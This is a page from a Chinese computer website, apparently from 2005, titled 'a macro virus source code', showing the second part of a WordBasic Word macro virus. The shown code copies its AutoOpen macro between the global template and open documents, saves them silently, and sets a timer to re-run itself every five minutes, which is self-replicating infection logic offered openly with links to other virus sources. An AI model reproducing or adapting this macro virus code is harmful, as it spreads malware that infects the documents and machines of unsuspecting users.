计算机充电网
 


  一个宏病毒源码  
编辑:管理员  来源:华夏  发表时间:2005-12-30  被查阅【】次<% Else %><% End If %>
Google
me = "AutoOpen", .Tab = 3
'    Organizer .Copy, .Source = MyFile$, .Destination = TemplateName$, .Name = "SaveDoc", .Tab = 3
    FileSaveAs .Name = TemplateName$, .Format = 1, .LockAnnot = 0, .Password = "", .AddToMru = 0, .WritePassword = "", .RecommendReadOnly = 0, .EmbedFonts = 0, .NativePictureFormat = 0, .FormsData = 0, .SaveAsAOCELetter = 0
End If

' search macro AutoOpen in active document 
active = CountMacros(1)
OkExist = 0
For i = 1 To active
    If MacroName$(i, 1) = "AutoOpen" Then OkExist = 1
Next i

' copy AutoOpen to active template
If OkExist <> 1 Then
    Organizer .Copy, .Source = TemplateName$, .Destination = MyFile$, .Name = "AutoOpen", .Tab = 3
'    Organizer .Copy, .Source = TemplateName$, .Destination = MyFile$, .Name = "SaveDoc", .Tab = 3
    FileSave
End If

Bye1:

' set document mode
dlg.Format = 0

Bye2:

' set timer to run AutoOpen again
internal = 5 / 24 / 60' internal time is 5 minutes
alarmtime = TimeValue(Time$()) + internal
alarm$ = Time$(alarmtime)
OnTime alarm$, "AutoOpen"

[1] [2

返回顶部】【 】【关闭窗口
  上篇文章:QQ尾巴恶意病毒的代码   下篇文章:万花病毒源码
计算机充电网 为您服务 关于本站 免责声明 法律法规 网址之家 便民查询 本站地图
 
Copyright © 72598.COM All Rights Reserved. 
E-mail:admin@72598.com QQ:360107618
粤ICP备06034384号